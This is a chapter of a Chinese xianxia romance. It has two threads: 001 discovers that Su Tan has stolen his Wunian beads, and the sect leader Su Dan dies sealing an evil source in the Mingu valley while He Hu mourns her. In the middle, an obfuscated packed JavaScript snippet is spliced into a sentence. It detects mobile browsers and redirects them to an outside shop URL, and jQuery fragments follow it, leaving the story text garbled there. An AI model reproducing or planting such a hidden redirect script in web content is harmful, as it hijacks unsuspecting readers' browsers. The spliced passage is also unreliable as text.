山洞里,午夜的月亮像柔和的探照灯,慷慨地将月光洒进半个洞口,丝绸般淌到了001脚边。
他在唱了几遍歌后,确定苏昙已经入睡,才放心地慢慢降低音量,最后山洞回归静谧。
001静静地盯着苏昙的背影看了一会,也逐渐顶不住瞌睡,便在她身边找了一处净地,轻手轻脚地坐了下来,屈起一条腿,手肘支着下巴,托着脑袋,不知不觉地也睡着了。
但他睡得并不安稳。
梦里若隐若现地出现了一个和苏昙一样的面孔,时而靠得分外亲密,时而又离他格外远,就像一个飘来飘去的魂魄,让他忍不住想去追逐,却时不时感到一丝胆怯。
这种感觉并不好受。001已经很久没做了噩梦了。
不知梦里的人第几次忽而贴近,两眼还噙着泪花,嘴里喃着什么,他浑身猛地一挣,狠狠地打了个激灵,猝然睁开了眼。
001下意识扭头看向身边正酣然入睡的人。
她就在那里,什么事都没有发生。
不对。
001抬手覆上隐隐作痛的额头,直觉苏昙今晚的行为有些不对劲。
自从来到这个世界,她总是对他笑着,可她越是笑得灿烂,他就越能分外清晰地看到,有一股说不明道不出的悲伤流淌在她眼底,仿佛伸手就能触碰得到。
她又总是主动向他靠近,带着一种莽撞和决绝,毫不犹豫地向他剖析自己的心意,故作轻松地掩盖着什么沉重的事实。
苏昙隐藏得太好了,好到连她自己都骗了过去,也把他蒙得团团转。
001脑海灵光闪过,面色一冷,低头摸向他身上装无念珠的口袋——摸了个空。
一阵寒意悄悄沿着洒进来的月光,踉跄地从他脚底爬上了脊背,和刚才逐渐加重的头痛交杂在一起,让他彻底清醒过来。
001嘴角绷成了一条平直的线,快步走到苏昙身边,微微颤抖地抬起手,却在将要触到毛毯的一角时堪堪停住。
他盯着她盖在毛毯下起伏均匀的身体,在心里默道:“抱歉,冒犯了。”
说完,001格外虔诚地看了苏昙一眼,鼓起勇气捏住毛毯的一条边,慢慢掀开,一阵暖意从毛毯里攀上他的手臂。
而他的无念珠就被她握在手里,因为吸收了血液,散发出淡淡的萤光。
001不知道该怎么形容他现在的心情。
诧异?愤怒?悔恨?亦或是其他的什么,混在一起,分不开也理不清。
但他看到无念珠的第一反应,竟然不是去想苏昙为什么要偷无念珠,而是忍不住困惑,她什么时候偷走的?
是在求他留下的时候?是在洞口外,为他放烟花的时候?还是在这里强吻他的时候?
她不容拒绝地按着他,将他全身上下摸了个遍,而他却以为每一处都是真情。
多么荒唐,多么可笑。
001想把苏昙叫醒,好好问个清楚,转而看到她紧皱的眉头,在眉心笼起一片阴霾,看起来睡得并不安生。无念珠被她紧紧攥在手心,如果贸然硬取,可能对珠和人都不好。
可就这样任她欺瞒,未免太憋屈。001思来想去,神色恻恻地站了起来,转到了苏昙正对面,重新蹲了下来,抱着膝盖,幽怨地盯着她。
算了,她这个女骗子,瞒着他做了亏心事,恐怕心虚得厉害,等她醒来之后,再听她怎么狡辩也好。反正他一定不会再信她了。
001就这样,不知看了苏昙多久,每将她的脸从上到下扫过一遍,他便在心里一字一句地骂:“我讨厌你,骗子。”
“我讨厌你,骗子……”
*
苏昙对山洞里的事全然无知。
她一分一秒也不敢浪费,眼下已经找齐了第二个世界里原主苏檀所在的所有时间线。
对未来了解太多,于她而言,并不是什么好事,但现在,只有直面未来的结局,才能让她最大限度地规避风险。
苏昙没有犹豫,穿进了苏檀第二次死亡的时间节点。
距离她离开第二个世界,已经过去了二十年之久,苏婉凌、穆遣等前辈都已经羽化,苏檀和南宫洛奚都已经成了各自门派的新掌门。
苏檀虽然没有其他掌门数一数二的修为,但她在其他方面做得让人根本挑不出错,将遣凌派打理得井井有条,并和以南宫洛奚为首的各门派结下了深厚的友谊。
而冥谷在陈万肃死后,也很久很久没有出现过异样。
无奈万事万物,盛极必衰,物极必反,一个看似平常的一天,冥谷里猝不及防爆发邪祟,以极快的速度向周边门派入侵。
苏檀等掌门率先作出反应,遣散弟子、封锁布阵、入谷灭祟,只用了短短两天的时间。
二十几年过,曾经的少年早已不是遇到险境只会慌张失措的稚童,每一日的修炼打坐,都是为了能在危急关键时刻,再护自己的弟子和天下人一命。
苏檀二话不说,率领手下的长老和关门弟子就要入谷,找出邪祟涌动的真正的原因,彻底消灭。不料何瑚和身后一行人先她一步来到了冥谷。
苏檀有些意外,没在何瑚身边看到南宫洛奚的影子,问道:“他呢?怎么就你单独来了?”
何瑚抱着剑,对苏檀行了个门派之间的见面礼,说道:“南宫洛奚联合其他掌门,各个门派内镇守,那些邪祟已经开始往更远的地方扩散了。我听说你要进冥谷,便带着人来帮你了。有我们在,多少能多个照应。”
苏檀没有什么多余的犹豫,很快道:“好,走吧。”
她回身,将长老和弟子分成几波,各自去往不同的地方布阵,自己则和何瑚一起来到阵眼。
“苏掌门等一等!”
接二连三的声音和脚步在苏檀身后响起。
不管大小门派,有些人脸熟,有些人脸生,纷纷请缨出战。苏檀喉间有些哽咽,恍惚觉得母亲和父亲又回到了她身边。
她深深吸了一口气,握紧了腰间的佩刀,扬声道:“我们一起走!”
加上最后来的八个掌门和十六个长老,一共二十人,迅速转移到了冥谷的阵眼。
然而,她们刚刚接近那里,便被阴郁的黑气冲了出来,实在是邪得不正常。毫无疑问,阵眼处就是邪祟爆发的源头。
何瑚不会忘记她第一次见黑气的场景,二十多年前,她在虚境里,被黑气附体的夭勒妖追杀得遍体鳞伤,后来又百般折磨苏檀,本以为陈万肃死后,黑气就已经彻底被消灭,没想到今日竟重现于世,来势汹汹。
阵眼处狂风持续不断,卷起一地枯枝败叶飞了漫天,风沙迷眼,阴气袭人,饶是她们这些修为高深的掌门,也被这股强劲的势头搞得心中一沉。
她施出一个防御阵,扭头高声问苏檀道:“你还好吗!?”
苏檀对她露出一个放心的表情,也扬声道:“大家听我说,我们现在就开始布阵,何瑚你能护阵吗——好,其余的人封住这些扩散的邪祟,我找机会接近阵眼!”
身后的掌门和长老们听到,纷纷来到以阵眼为中心,排列队形成六角形状,每角三人做法,迅速围成一个星罗棋布阵。此阵密不透风,缜密严谨,蕴含强大的杀机。
何瑚口中默念,双手捏诀,佩剑缓缓升到阵法上空,发力沿着剑柄,淌到剑刃,最后注入阵法中,源源不断,像一条微型的银河,不一会,剑身逐渐结出点点霜花,是人剑合一的最高境界。
就是现在。苏檀运作自身的法力。
十九年前,望月峰前副掌门林戚曾研制出一种特殊的丹药,专门针对像苏檀这种灵脉有缺陷或不足的修仙之人,服下后,可重塑全身经脉,如同重生,之后便可和正常的修仙者一样,修习术法。
只是这重塑的过程万般痛苦,九九八十一天,每一天全身的经脉灰如同万蚁啃噬,痛痒难耐,稍有不慎,就会走火入魔,魂飞魄散。哪怕林戚研制出来,也鲜少有人敢尝试。
苏檀是第一个。
重塑经脉的过程比她想象的还要痛苦。九九八十一天,每一天都像是第一天,又比前一天加倍痛苦,她时而觉得沉溺窒息,时而觉得烈火焚身,感受不到时间的流逝,也感受不到好转的迹象。
她差点在最后一天崩溃。
就在神智即将涣散殆尽的时候,苏檀隐约听到一句很轻很飘渺的声音,晃晃悠悠地钻进了她的耳朵。
“……活着……”
活着。
这两个字像一张温和有力的手,稳稳托住了苏檀沉浮的神智。
那她现在,究竟是死了,还是活的?身上还在痛,应该还活着。
没错,她要活着。她要挑起肩上的担,她要撑住遣凌派的面。她是掌门之女,她是心气傲然的修仙之人。
又是暗无天日的一晚。
但那晚过后,苏檀终于看到了她人生十九年来,透进来的第一缕阳光。
阵眼的飓风还在咆哮,苏檀定定地看着前方深不可测的尽头,义无反顾地走了进去。
越往前走,黑气越浓。苏檀身上的护体诀逐渐被利刃般的风割破,阴冷的邪祟像甩不掉的黏虫,一阵接一阵地往她身上扑。
苏檀手起刀落,那些贪婪的邪祟发出尖锐的哀鸣,接二连三地散作齑粉,在她脚下的路上落了厚厚一层。护体诀没了,她便用灵力续上;刀没了,她便用落叶枯枝做武器,一样具有杀力。
苏檀一点点为自己开出一条路。
一条她早已准备好的路。
也许是她身上伤口的鲜血太有吸引力,疯狂的邪祟毫不畏惧,一股脑蜂拥而至,龙卷风一样,朝她漂移过来。苏檀精准地找到了它们来的方向,大步向那里走去。
竟然是封尘已久的锁灵台。
上面粗驳的铁链被附上禁制,浮起淡淡的发光符文。然而此刻,这铁链正剧烈颤动,似乎压抑着下面更汹涌残暴的未知面目。
苏檀心跳得有些快,又靠近了一步。
她飞速在口中念诀,一只手虚放到胸前,引出心头精血。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040333|182094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
锁灵台下镇压的黑气源头安静了一秒,但也就仅仅一秒,下一刻,磅礴的黑气从台子里爆发,如一团冲天的火焰,朝四面八方逃窜,如风卷残云,狂妄地撞击着笼罩在冥谷上方的法阵,很快,法阵上便出现几道裂缝,又很快愈合。
苏檀站定如松,面不改色地继续念诀施法,从心头流出的精血连成一道红线,丝绸一般缓缓注入到了锁灵台里。她微皱眉头,闭上了眼,在漩涡中心无旁骛地入定了。
自她在二十年前醒来,便发现她失去了醒来前那两年的记忆。母亲说她是在冥谷受了重伤,昏迷了整整四日,这期间,各种丹药、法术通通用上,她才勉强留住一命。
苏婉凌告诉她,也许不记得,并不是一件什么坏事,重新开始也未尝不可。
但她从来不是将就的人。不管是告别过去,还是重新开始,她都要弄清楚,她忘记的究竟是什么。
直到后来她当任掌门,有权力进入各门派的藏书阁,才囫囵地拼凑出一个模糊的真相。
她潜心修习黑气,最终在冥谷牵制住陈万肃的英勇事迹被人频频记录在册,虽然众说纷坛,但本意并没有什么差别。
外人都觉得她无私、大义,唯有她自己清楚,她先前根本不是这样的人。
她易怒、暴躁、执拗,她怨天尤人,她恨命运不公。
然而一切都在她选择重塑静脉之后,潜移默化地发生了改变。她学会接受自己的普通,学会从头开始,学会温和待人,学会与父母朋友相伴。
最重要的,是她偶然在一本穆遣封印起来的藏书中,得知了当年陈万肃灭除冥谷邪祟的方法。
这一方法,在陈万肃死后,便被他列为了禁术,全门派知道的,恐怕除了他和苏婉凌,不会有第三者知其存在。
苏檀意识到,自她得知了这一禁术开始,就没有回头的一天了。
邪祟依旧在她耳边啸叫,却不再敢靠近这个疯子。
她看起来快把全身的血都抽干了,脸色苍白,双唇毫无血色。但她眼里好似燃着一团火,盈着灼人的光,轻而易举地烧穿了从锁灵台逃窜出来的邪祟。
苏檀不敢有一丝一毫的松懈,也不会松懈。
锁灵台的异动慢慢减弱,最后只剩下链条在时不时地颤动,不再有邪祟溢出。
她施法在台子里探查了几遍,确定不会再有黑气出现,最后施了一道封印,彻底封住了锁灵台。
苏檀做完这些,站在原地缓了一会神,没有耽误时间,快步走朝何瑚等人的方向。
就在这时,一股更为强劲的黑气竟然成了漏网之鱼,明目张胆地从她眼皮底下窜走,冲向谷外镇守封印的那批弟子。
苏檀低声骂了一句,稳了稳了发晕的头脑,正欲抬手施法铩去邪祟,不料背后受到猛地一击,瞬间呕出一口早已憋闷在胸口里的鲜血,不受控制地倒在地上。
有另一群邪祟在她身后瞅准了时机,迫不及待地趁她虚弱偷袭了她。
苏檀先失去的是听觉。
她看着天地倒转,死死地盯着那两股邪祟的踪迹,却还是让它们成了抓不住的一缕风。
接着失去的是触觉。
她陷入了一股诡异的轻盈感,好像沉进了海底,也像飘在空中,全身借不到力,使不出劲。这一刻,苏檀明白,她不能回头的那天终于来了。
苏檀最后失去的是视觉。
她眼前模糊成一个颜色,黑暗从视野周围向中间晕染,蚕食着仅剩下的一缕光线。
好在,她在最后一秒,看到了同样满身是上的何瑚狂奔而来的身影,依稀从她的口型读出三个字——
“没事了。”
没事就好。
苏檀嘴角扬起一个疲惫又轻松的笑,默默在心里回了一句,“没事就好。”
何瑚还是晚了一步。
她不可置信地抱住苏檀的身体,接住从她嘴角流出的血,努力用温热的手心暖热苏檀不断下降的体温。
何瑚终是忍不住痛哭出声。她偏执地将自己的灵力注进苏檀体内,尽管比谁都清楚早已无力回天。
为什么会这样?为什么会这样!?
她紧紧地攥住苏檀的手,失魂落魄的眉眼间隐约流露出曾经那个在虚境遇到危险,变得手足无措的小女孩的模样。
何瑚强迫自己镇定下来,突然想起那个曾经给她留下纸条的无名之士。
她既然能救活阿檀一次,就一定能救活第二次。她一定还有办法。
何瑚脸上欣喜一闪而过,随即凝滞成冰。
她连那位朋友现在在哪都不知道。
何瑚几近崩溃,她抱住苏檀的身体,仰起头,撕心裂肺地叩问天光乍破的上苍:“你能不能再回来一次,再救一救她,我求求你了……我求求你了,让我做什么都行!她是我的朋友!她命不该死!我求求你,救救她……好不好……”
何瑚叩问的“上苍”,化成了一缕透明的魂魄,早已跪坐在苏檀的身边,哭得不成模样。